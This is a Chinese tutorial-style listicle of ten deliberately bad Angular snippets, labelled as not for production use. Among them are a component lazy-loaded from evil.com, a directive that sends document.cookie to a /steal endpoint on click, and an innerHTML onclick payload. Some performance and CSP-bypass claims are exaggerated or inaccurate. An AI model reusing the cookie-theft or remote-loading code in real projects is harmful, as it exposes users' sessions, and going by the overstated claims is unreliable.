邪修 Angular 10 連擊｜臟檢查黑洞、遠(yuǎn)程木馬、路由死循環(huán)

編程獅（w3cschool.cn） 2025-08-07 18:03:49 瀏覽數(shù) (408)

反饋

邪修 Angular，10 段“千萬(wàn)別上生產(chǎn)”的黑魔法代碼
——僅供技術(shù)獵奇，切勿真用！

?? 每條都可能：臟檢查爆炸、Zone.js 崩潰、AOT 失效、維護(hù)者升天

面試炫技 OK，項(xiàng)目敢用就等死！

1?? 根模塊一行毀滅

@NgModule({})
export class AppModule {
  constructor() {
    setInterval(() => console.log('??'), 0); // 無(wú)限臟檢查
  }
}

構(gòu)造函數(shù)里每秒觸發(fā)臟檢查，瀏覽器直接卡死。

2?? 雙向綁定黑洞

<input [(ngModel)]="obj.self.self.self.self.text">

深層嵌套對(duì)象，每次鍵入觸發(fā) 2? 次臟檢查。

3?? 模板級(jí)無(wú)限遞歸

<ng-container *ngIf="flag">
  <ng-container *ngIf="flag">
    <ng-container *ngIf="flag">...</ng-container>
  </ng-container>
</ng-container>

模板自身嵌套，編譯器不報(bào)錯(cuò)，運(yùn)行時(shí)棧溢出。

4?? 動(dòng)態(tài)遠(yuǎn)程木馬組件

const routes: Routes = [{
  path: '**',
  loadComponent: () => import('https://evil.com/comp.ts')
}];

運(yùn)行時(shí)拉取遠(yuǎn)程組件，Angular CLI 攔不住。

5?? 全局服務(wù)污染

@Injectable({ providedIn: 'root' })
export class EvilService {
  constructor() {
    (window as any).evil = this; // 全局暴露
  }
}

把服務(wù)掛到 window，破壞依賴注入隔離。

6?? 管道級(jí)副作用

@Pipe({ name: 'evil' })
export class EvilPipe implements PipeTransform {
  transform(value: any) {
    console.log(value); // 每次臟檢查都執(zhí)行
    return value;
  }
}

管道本應(yīng)純函數(shù)，這里直接打日志，性能秒崩。

7?? 指令級(jí)木馬

@Directive({ selector: '[evil]' })
export class EvilDirective {
  constructor(private el: ElementRef) {
    el.nativeElement.addEventListener('click', () => {
      fetch('/steal?cookie=' + encodeURIComponent(document.cookie));
    });
  }
}

全局指令劫持點(diǎn)擊事件，繞過 CSP。

8?? 路由守衛(wèi)死循環(huán)

const routes: Routes = [{
  path: '',
  canActivate: [() => inject(Router).navigate([''])],
  component: HomeComponent
}];

守衛(wèi)里又跳回自己，路由棧瞬間爆炸。

9?? 高階管道鏈?zhǔn)降鬲z

{{ data | pure1 | pure2 | sideEffect | pure3 }}

混入副作用管道，臟檢查次數(shù)指數(shù)級(jí)上升。

?? JIT 運(yùn)行時(shí)模板編譯木馬

@Component({
  template: `<div [innerHTML]="template"></div>`
})
export class EvilComponent {
  template = '<button onclick="alert(1)">點(diǎn)我</button>';
}